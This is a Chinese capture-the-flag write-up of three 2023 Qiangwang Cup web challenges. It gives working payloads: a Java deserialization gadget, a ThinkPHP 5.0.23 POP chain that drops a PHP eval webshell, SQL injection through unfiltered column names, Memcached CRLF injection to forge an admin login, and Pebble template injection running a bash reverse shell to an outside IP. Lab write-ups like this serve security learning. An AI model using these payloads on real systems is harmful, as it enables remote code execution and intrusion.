2023年强网杯赛题记录~
Web
happygame
给的ip与端口是没有http服务的,尝试发现是grpc服务,使用grpcurl可以连接

有两个服务接口:SayHello
跟ProcessMsg
,用grpcui来可视化连接方便一点
SayHello
接口就是接收一个字符串然后返回Hello string
ProcessMsg
的入口能接收一个序列化字符串进行反序列化,python的不行,用java,先构造一个URLDNS
测试一下
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa/ORyAwAHSQAIaGFzaENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgADTAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD//////////3QAEHk3aWljZi5kbnNsb2cuY250AABxAH4ABXQABGh0dHBweHNyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABeA==
|

可以序列化,多次尝试,cc5链可以打,反弹shell
rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAA3NyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIACEIABmZvcm1hdEkACmxpbmVOdW1iZXJMAA9jbGFzc0xvYWRlck5hbWVxAH4ABUwADmRlY2xhcmluZ0NsYXNzcQB+AAVMAAhmaWxlTmFtZXEAfgAFTAAKbWV0aG9kTmFtZXEAfgAFTAAKbW9kdWxlTmFtZXEAfgAFTAANbW9kdWxlVmVyc2lvbnEAfgAFeHABAAAAUXQAA2FwcHQAJnlzb3NlcmlhbC5wYXlsb2Fkcy5Db21tb25zQ29sbGVjdGlvbnM1dAAYQ29tbW9uc0NvbGxlY3Rpb25zNS5qYXZhdAAJZ2V0T2JqZWN0cHBzcQB+AAsBAAAAM3EAfgANcQB+AA5xAH4AD3EAfgAQcHBzcQB+AAsBAAAAInEAfgANdAAZeXNvc2VyaWFsLkdlbmVyYXRlUGF5bG9hZHQAFEdlbmVyYXRlUGF5bG9hZC5qYXZhdAAEbWFpbnBwc3IAH2phdmEudXRpbC5Db2xsZWN0aW9ucyRFbXB0eUxpc3R6uBe0PKee3gIAAHhweHNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXlxAH4AAUwAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwdAADZm9vc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNoYWluZWRUcmFuc2Zvcm1lcjDHl+woepcEAgABWwANaVRyYW5zZm9ybWVyc3QALVtMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwdXIALVtMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLlRyYW5zZm9ybWVyO71WKvHYNBiZAgAAeHAAAAAFc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5Db25zdGFudFRyYW5zZm9ybWVyWHaQEUECsZQCAAFMAAlpQ29uc3RhbnRxAH4AAXhwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXEAfgAFWwALaVBhcmFtVHlwZXN0ABJbTGphdmEvbGFuZy9DbGFzczt4cHVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJ0AApnZXRSdW50aW1ldXIAEltMamF2YS5sYW5nLkNsYXNzO6sW167LzVqZAgAAeHAAAAAAdAAJZ2V0TWV0aG9kdXEAfgAvAAAAAnZyABBqYXZhLmxhbmcuU3RyaW5noPCkOHo7s0ICAAB4cHZxAH4AL3NxAH4AKHVxAH4ALAAAAAJwdXEAfgAsAAAAAHQABmludm9rZXVxAH4ALwAAAAJ2cgAQamF2YS5sYW5nLk9iamVjdAAAAAAAAAAAAAAAeHB2cQB+ACxzcQB+ACh1cgATW0xqYXZhLmxhbmcuU3RyaW5nO63SVufpHXtHAgAAeHAAAAABdABhYmFzaCAtYyB7ZWNobyxZbUZ6YUNBdGFTQStKaUF2WkdWMkwzUmpjQzh4TWpBdU56WXVNVGswTGpJMUx6SXpNak1nTUQ0bU1RPT19fHtiYXNlNjQsLWR9fHtiYXNoLC1pfXQABGV4ZWN1cQB+AC8AAAABcQB+ADRzcQB+ACRzcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHg=
|

thinkshop
查看base.php
define('THINK_VERSION', '5.0.23');
|
可知版本,此版本存在较多序列化漏洞,看看后面能不能利用
先审代码,整体流程不长
首先是index页面,有一个展示商品的页面,点进去能查看商品的详细信息,看看html
的源码,
<h2>商品信息:{php}use app\index\model\Goods;$view=new Goods();echo $view->arrayToHtml(unserialize(base64_decode($goods['data'])));{/php}</h2>
|
能看到商品的信息是通过反序列化商品的信息得到的,后端通过getGoodsById()
在数据库中查询得到的,数据库中的数据表结构如下:
image-20240118003900566
然后是admin
页面,需要先登录,这里就有个坑(贼坑),用户登录使用的用户名并不是在数据库里面看到的admin
先看登录的时候的查询操作
$adminData = Db::table('admin') ->cache(true, $Expire) ->find($username);
|
注意这个find()
函数,实现在thinkphp/library/think/db/Query.php
中,我们可以输出一下执行的sql语句
$sql = $this->builder->select($options);
$bind = $this->getBind(); var_dump($sql); var_dump($bind);
|
随便输入账号密码登录一下
image-20240118014925494
可以看到sql
语句并不是查询用户名而是查询了账号的id
来获取密码然后检查与输入的密码是否一致,所以使用admin/123456
(附件的.sql文件中有账号密码)是登录不上的......所以要使用1/123456
来登录
image-20240118015231230
可以看到,我们输出查询的结果$adminData
在使用1/123456
登录就有结果了
登录成功就两个操作,要么新增商品,要么修改商品,肯定要改变数据库中商品的data
的内容,让他能反序列化
在更新操作中:do_edit()->saveGoods()->save()->updatedata()
public function updatedata($data, $table, $id) { if (!$this->connect()) { die('Error'); } else { $sql = "UPDATE $table SET "; foreach ($data as $key => $value) { $sql .= "`$key` = unhex('" . bin2hex($value) . "'), "; }
$sql = rtrim($sql, ', ') . " WHERE `id` = " . intval($id); return mysqli_query($this->connect(), $sql);
} }
|
其中$data
是获取的POST
的内容,然后按照键值对遍历,给每一个字段进行更新,value
进行了转换不存在注入了,但是$key
没有限制,可以对key动手脚来实现注入,修改data
的内容为序列化的数据,读取数据时需要base64开头为YTo(a:)
,就是要是Array
的序列化开头,所以反序列化还需要一个Array
包裹
先找一条链子改一改:https://xz.aliyun.com/t/8143?time__1311=n4%2BxuDgDBDyGIqiqGNDQT4L4fOqjrEf4xgiD&alichlgref=https%3A%2F%2Fwww.google.com%2F#toc-11
<?php namespace think\process\pipes { class Windows { private $files = [];
public function __construct($files) { $this->files = [$files]; } } }
namespace think { abstract class Model{ protected $append = []; protected $error = null; public $parent;
function __construct($output, $modelRelation) { $this->parent = $output; $this->append = array("xxx"=>"getError"); $this->error = $modelRelation; } } }
namespace think\model{ use think\Model; class Pivot extends Model{ function __construct($output, $modelRelation) { parent::__construct($output, $modelRelation); } } }
namespace think\model\relation{ class HasOne extends OneToOne {
} } namespace think\model\relation { abstract class OneToOne { protected $selfRelation; protected $bindAttr = []; protected $query; function __construct($query) { $this->selfRelation = 0; $this->query = $query; $this->bindAttr = ['xxx']; } } }
namespace think\db { class Query { protected $model;
function __construct($model) { $this->model = $model; } } } namespace think\console{ class Output{ private $handle; protected $styles; function __construct($handle) { $this->styles = ['getAttr']; $this->handle =$handle; }
} } namespace think\session\driver { class Memcached { protected $handler;
function __construct($handle) { $this->handler = $handle; } } }
namespace think\cache\driver { class File { protected $options=null; protected $tag;
function __construct(){ $this->options=[ 'expire' => 3600, 'cache_subdir' => false, 'prefix' => '', 'path' => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php', 'data_compress' => false, ]; $this->tag = 'xxx'; }
} }
namespace { $Memcached = new think\session\driver\Memcached(new \think\cache\driver\File()); $Output = new think\console\Output($Memcached); $model = new think\db\Query($Output); $HasOne = new think\model\relation\HasOne($model); $window = new think\process\pipes\Windows(new think\model\Pivot($Output,$HasOne)); echo base64_encode(serialize([$window])); }
|
接下来构造类似下面的sql语句
UPDATE $table SET ` (data` = 'payload'#) ` = unhex('......')
|
第一个括号里面的内容就是我们需要构造的payload,因为构造了一个#
注释了后面的所以不需要关心后面的内容,还需要注意的是saveGoods()
函数中有一句$data['data'] = base64_encode(serialize($this->markdownToArray($data['data'])));
,所以POST传参一定要有data
参数,不然就报错了
POST /public/index.php/index/admin/do_edit.html HTTP/1.1 Host: localhost:36000 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 426 Origin: http://localhost:36000 Connection: close Referer: http://localhost:36000/public/index.php/index/admin/goods_edit/id/1.html Cookie: thinkphp_show_page_trace=0|0; thinkphp_show_page_trace=0|0; thinkphp_show_page_trace=0|0; thinkphp_show_page_trace=0|0; session=eyJ1c2VybmFtZSI6ImVyIn0.ZXh4Iw.eXhT1l2K9xURmd4wI2O1t8jZ2QM; PHPSESSID=nd32t9n6sup7859noe6i4qgku2 Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1
id=1&name=real_flag&price=100.00&on_sale_time=2023-05-05T02%3A20%3A54&image=https%3A%2F%2Fi.postimg.cc%2FFzvNFBG8%2FR-6-HI3-YKR-UF-JG0-G-N.jpg&data`%3d'YToxOntpOjA7TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mzp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czozOiJ4eHgiO3M6ODoiZ2V0RXJyb3IiO31zOjg6IgAqAGVycm9yIjtPOjI3OiJ0aGlua1xtb2RlbFxyZWxhdGlvblxIYXNPbmUiOjM6e3M6MTU6IgAqAHNlbGZSZWxhdGlvbiI7aTowO3M6MTE6IgAqAGJpbmRBdHRyIjthOjE6e2k6MDtzOjM6Inh4eCI7fXM6ODoiACoAcXVlcnkiO086MTQ6InRoaW5rXGRiXFF1ZXJ5IjoxOntzOjg6IgAqAG1vZGVsIjtPOjIwOiJ0aGlua1xjb25zb2xlXE91dHB1dCI6Mjp7czoyODoiAHRoaW5rXGNvbnNvbGVcT3V0cHV0AGhhbmRsZSI7TzozMDoidGhpbmtcc2Vzc2lvblxkcml2ZXJcTWVtY2FjaGVkIjoxOntzOjEwOiIAKgBoYW5kbGVyIjtPOjIzOiJ0aGlua1xjYWNoZVxkcml2ZXJcRmlsZSI6Mjp7czoxMDoiACoAb3B0aW9ucyI7YTo1OntzOjY6ImV4cGlyZSI7aTozNjAwO3M6MTI6ImNhY2hlX3N1YmRpciI7YjowO3M6NjoicHJlZml4IjtzOjA6IiI7czo0OiJwYXRoIjtzOjEyMjoicGhwOi8vZmlsdGVyL2NvbnZlcnQuaWNvbnYudXRmLTgudXRmLTd8Y29udmVydC5iYXNlNjQtZGVjb2RlL3Jlc291cmNlPWFhYVBEOXdhSEFnUUdWMllXd29KRjlRVDFOVVd5ZGpZMk1uWFNrN1B6NGcvLi4vYS5waHAiO3M6MTM6ImRhdGFfY29tcHJlc3MiO2I6MDt9czo2OiIAKgB0YWciO3M6MzoieHh4Ijt9fXM6OToiACoAc3R5bGVzIjthOjE6e2k6MDtzOjc6ImdldEF0dHIiO319fX1zOjY6InBhcmVudCI7cjoxMjt9fX19'%23=%23+FLAG%0D%0A%0D%0A%23%23+%E8%AF%B7%E7%9C%8B%E7%9C%8B%E8%BF%99%E4%B8%AAFLAG%E5%A5%BD%E7%9C%8B%E5%90%97%0D%0A%E5%86%8D%E4%BB%94%E7%BB%86%E4%BB%94%E7%BB%86%E6%83%B3%E4%B8%80%E4%B8%8B%E8%BF%99%E4%B8%AAflag%E6%80%8E%E4%B9%88%E6%89%8D%E8%83%BD%E6%8B%BF%E5%88%B0%E5%91%A2%0D%0A%0D%0A&data=zzz
|
按照这个链子会生成2个文件,文件名分别为a.php.md5("<getAttr>xxx</getAttr>").php
,a.php.md5("tag_".md5("xxx")).php
我们写入的shell在第二个文件中,即a.php12ac95f1498ce51d2d96a249c09c1998.php
访问public/a.php12ac95f1498ce51d2d96a249c09c1998.php
,post传参ccc=system(ls /)
读取flag
image-20240118182754199
这个题目跟上一个不一样了,数据库的用户数据已经删除了,商品数据的反序列化入口也删除了,但是mysql有文件读写的权限,还是能登录上去直接load_file()
读取flag的,问题就是如何登录
image-20240119210710273
可以看到在登录的时候,查询数据库的操作是
$adminData = Db::table('admin') ->cache(true, $Expire) ->find($username);
|
我们可以跟进去看一下cache
跟find
两个操作:
public function cache($key = true, $expire = null, $tag = null) { if ($key instanceof \DateTime || (is_numeric($key) && is_null($expire))) { $expire = $key; $key = true;
}
if (false !== $key) { $this->options['cache'] = ['key' => $key, 'expire' => $expire, 'tag' => $tag]; } return $this; }
public function find($data = null) { .....
$options['limit'] = 1; $result = false; if (empty($options['fetch_sql']) && !empty($options['cache'])) { $cache = $options['cache']; if (true === $cache['key'] && !is_null($data) && !is_array($data)) { $key = 'think:' . $this->connection->getConfig('database') . '.' . (is_array($options['table']) ? key($options['table']) : $options['table']) . '|' . $data; } elseif (is_string($cache['key'])) { $key = $cache['key']; } elseif (!isset($key)) { $key = md5($this->connection->getConfig('database') . '.' . serialize($options) . serialize($this->bind)); } $result = Cache::get($key); } .... return $result; }
|
可以看到调用了cache()
知识设置了$option
的一些值然后就返回$this
接着调用find()
了,参数是我们输入的用户名
继续跟进去看一下Cache::get()
操作
public static function get($name, $default = false) { self::$readTimes++;
return self::init()->get($name, $default); }
public static function init(array $options = []) { if (is_null(self::$handler)) { if (empty($options) && 'complex' == Config::get('cache.type')) { $default = Config::get('cache.default'); $options = Config::get('cache.' . $default['type']) ?: $default; } elseif (empty($options)) { $options = Config::get('cache'); }
self::$handler = self::connect($options);
}
return self::$handler; }
|
这里先init()
以后再调用了get()
,我们需要知道init()
返回了什么,直接在get()
里面var_dump(self::init())
一下或者在init()
返回之前var_dump(self::$handler)
public static function init(array $options = []) { ... var_dump(self::$handler); return self::$handler; }
|
再去登录看看输出
image-20240119213411961
能看到,他返回了Memcached
的类,那就是self::init()->get($name, $default);
调用的是Memcached->get()
接下来就要去看Mencached
了
public function get($name, $default = false) { $result = $this->handler->get($this->getCacheKey($name)); return false !== $result ? $result : $default; }
protected function getCacheKey($name) { return $this->options['prefix'] . $name; }
|
通过上面的截图我们可以知道options['prefix'] => ""
,所以通过getCacheKey()
后的结果是一样的;
要知道Mencached
是一个缓存服务器,可以像mysql
一样进行查询的,所以我们能看见上面Memcached
的截图中是有host
,port
等配置的,所以Mencached
的__construct()
中就是在进行一下服务器的连接操作
到此,登录的流程就很很明确了,首先是到Memcached
中查询一下缓存服务器中查询是否有相应的用户的信息,如果有就不会再查询Mysql
了,接下来就是搞定Memcached
的查询问题,还有find()
里面传参的$key
是什么内容,还是直接在Query.php
中var_dump()
一下,再去登录
/var/www/html/thinkphp/library/think/db/Query.php:2660:string 'think:shop.admin|qqq' (length=20)
|
key
的格式就知道了,后面就是拼接我们登录输入的用户名
根据这个文章https://www.freebuf.com/vuls/328384.html,Memcached
存在CRLF
注入漏洞
现在启动的docker靶机中安装一下apt-get install memcached
,启动service memcached start
然后就能telnet
连接了,靶机中没有,需要安装apt-get install telnet
直接telnet localhost 11211
就能连上,熟悉一下基本的语法:
image-20240120020512883
根据文章所说\r\n
会被memcached
认为是指令的终止,相当于回车,于是在查询用户名调用Cache::get()
的时候使用\r\n
来拼接多个指令,包括set
指令来设置新的键值对,我们在这里试一下,随便使用一个用户名来登录然后进行注入,在这里注入gg:gggg
这个键值对
POST /public/index.php/index/admin/do_login.html HTTP/1.1 Host: localhost:36000 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 74 Origin: http://localhost:36000 Connection: close Referer: http://localhost:36000/public/index.php/index/admin/login.html Cookie: thinkphp_show_page_trace=0|2; thinkphp_show_page_trace=1|0; thinkphp_show_page_trace=1|1; thinkphp_show_page_trace=0|0; session=eyJ1c2VybmFtZSI6ImVyIn0.ZXh4Iw.eXhT1l2K9xURmd4wI2O1t8jZ2QM; PHPSESSID=nd32t9n6sup7859noe6i4qgku2 Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1
username=1222%00%0d%0aset%20gg%200%20100%204%0d%0agggg%0d%0a&password=qqqq
|
相当于Memcache
执行了一个get 1222
,当然这个是没有值返回的;又执行了一个set
get 1222 set gg 0 100 4 gggg
|
去终端里面查询一下:
未设置的时候:
image-20240120021209763
这时候gg
是没有值的,发送登录请求后:
image-20240120021329460
可以看到已经有值了,这样一来我们就能像sql注入一样,在Memcached
里面注入一个登录需要的值,到时候登录直接来这里查询到就能登录,但是要设置什么值呢,我们可以在mysql
的数据表里面插入一个用户记录来看一下插入的值的类型与格式
INSERT INTO `admin` VALUES (1, 'admin', 'e10adc3949ba59abbe56e057f20f883e');
|
这个就是上一道题目的1/123456
来登录,插入后,去登录然后再去查询一下Memcached
,使用的key
就是前面我们var_dump()
出来的think:shop.admin|1
:
image-20240120021918126
a:3:{s:2:"id";i:1;s:8:"username";s:5:"admin";s:8:"password";s:32:"e10adc3949ba59abbe56e057f20f883e";}
这一串就是我们要插入的值,长度101
,所以可以构造crlf注入,注意flag位是4:
POST /public/index.php/index/admin/do_login.html HTTP/1.1 Host: localhost:36000 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 190 Origin: http://localhost:36000 Connection: close Referer: http://localhost:36000/public/index.php/index/admin/login.html Cookie: thinkphp_show_page_trace=0|2; thinkphp_show_page_trace=1|0; thinkphp_show_page_trace=1|1; thinkphp_show_page_trace=0|0; session=eyJ1c2VybmFtZSI6ImVyIn0.ZXh4Iw.eXhT1l2K9xURmd4wI2O1t8jZ2QM; PHPSESSID=nd32t9n6sup7859noe6i4qgku2 Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1
username=1222%00%0d%0aset%20think:shop.admin|1%204%201000%20101%0d%0aa:3:{s:2:"id";i:1;s:8:"username";s:5:"admin";s:8:"password";s:32:"e10adc3949ba59abbe56e057f20f883e";}%0d%0a&password=qqqq
|
使用1/123456
登陆成功:
image-20240120022622405
使用第一题的sql注入方式,把data
字段改成load_file()
的内容再去读取即可
id=1&name=fake_flag&price=100.00&on_sale_time=2023-05-05T02%3A20%3A54&image=https%3A%2F%2Fi.postimg.cc%2FFzvNFBG8%2FR-6-HI3-YKR-UF-JG0-G-N.jpg&data`%3d(load_file('/fffflllaaaagggg'))%23=flag%7Basdasdadadada%7D
|
image-20240120023453620
成功读到flag
强网先锋
hellospring
搭一下本地的环境,去抄一个类似的环境docker来改一改
FROM openjdk:18-slim-bullseye
RUN mkdir /usr/src/app WORKDIR /usr/src/app
RUN groupadd chalusr RUN useradd -ms /bin/bash -g chalusr chalusr
COPY hellospring-0.0.1-SNAPSHOT.jar ./ COPY home.pebble /tmp/ COPY flag ./
USER chalusr CMD ["java", "-jar", "/usr/src/app/hellospring-0.0.1-SNAPSHOT.jar"]
|
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Home Page</title> </head> <body> <h1>Hello!!!</h1> </body> </html>
|
接下来就是代码审计:
@Controller public class myController { public myController() { }
@RequestMapping({"/"}) public String getTemplate(@RequestParam("x") Optional<String> template, Model model) { return (String)template.orElse("home"); }
@PostMapping({"/uploadFile"}) public String updateFile(@RequestParam("content") String myContent, Model model) throws IOException { if (myFilter.filter(myContent)) { System.out.println("Baned!"); return "home"; } else { String path = "/tmp/"; System.out.println(path); String filename = FileNameGenerator.general_time(); String file_path = path + filename; File f = new File(file_path); if (f.exists()) { System.out.println("File already exists!"); return "home"; } else { System.out.println(f.createNewFile());
try { FileOutputStream fos = new FileOutputStream(file_path);
try { byte[] bytes = myContent.getBytes(); fos.write(bytes); System.out.println("文件写入成功!"); } catch (Throwable var11) { try { fos.close(); } catch (Throwable var10) { var11.addSuppressed(var10); }
throw var11; }
fos.close(); } catch (IOException var12) { var12.printStackTrace(); }
System.out.println("upload Success!"); return "home"; } } } }
|
一些工具函数:
public class FileNameGenerator { public FileNameGenerator() { }
public static String general_time() { LocalDateTime currentTime = LocalDateTime.now(); DateTimeFormatter formatter = DateTimeFormatter.ofPattern("yyyyMMdd_HHmmss"); String var10000 = currentTime.format(formatter); String fileName = "file_" + var10000 + ".pebble"; System.out.println("filename is " + fileName); return fileName; } }
public class myFilter { public myFilter() { }
public static boolean filter(String context) { return false; } }
|
只有两个路由;
首先是/
,可以通过x
来传参选择模板,如果没有传参就默认返回home
,但是会拼接上前缀与后缀,在application.properties
中
pebble.prefix = /tmp/ pebble.suffix = .pebble server.port=8088
|
就是默认是/tmp/home.pebble
根据Y4师傅的文章,这里的x
存在路径穿越,我们在根目录写一个root.pebble
试试
http://localhost:28088/?x=./../../../../root
image-20240122173016958
存在路径穿越;下一个就是uploadFile
路由,接收content
传参,经过myFilter.filter()
的过滤,但是看filter()
就知道实际上没有什么作用,传完参后,根据FileNameGenerator()
生成的文件名写到/tmp
路径下,内容没有限制,同样是根据Y4
师傅的文章,用pebble
模板
注入,但是可以用这个文章的payload
打一个反弹shell
{% set clazz=beans.get("org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory").getResourceLoader().getClassLoader().loadClass("org.springframework.expression.spel.standard.SpelExpressionParser") %} {% set instance = beans.get("jacksonObjectMapper").readValue("{}", clazz) %} {{instance.parseExpression("new java.lang.ProcessBuilder(new String[]{\"bash\",\"-c\",\"bash -i >& /dev/tcp/120.76.194.25/2323 0>&1\"}).start()").getValue()}}
|
文件名是拼接了时间,所以只能上脚本了,还需要注意,docker容器用的是UTC
时区,电脑是UTC+8
时区,转换一下,模板写入后,需要通过x
传参去加载模板达到注入的目的
from datetime import datetime,timedelta import requests,time,pytz
utc_tz = pytz.timezone('UTC') step = timedelta(seconds=1) current_time = datetime.now(tz=utc_tz) time.sleep(5)
url = "http://127.0.0.1:28088"
content = '''{% set clazz=beans.get("org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory").getResourceLoader().getClassLoader().loadClass("org.springframework.expression.spel.standard.SpelExpressionParser") %} {% set instance = beans.get("jacksonObjectMapper").readValue("{}", clazz) %} {{instance.parseExpression("new java.lang.ProcessBuilder(new String[]{\\"bash\\",\\"-c\\",\\"bash -i >& /dev/tcp/120.76.194.25/2323 0>&1\\"}).start()").getValue()}}'''
data = {"content": content}
req = requests.post(url=url+"/uploadFile",data=data) print(req.status_code)
for i in range(0,20): format_time = current_time.strftime("%Y%m%d_%H%M%S") current_time += step filename = "file_"+str(format_time) print(type(filename)) url = url+"?x="+filename req2 = requests.get(url=url) print(req2.status_code)
|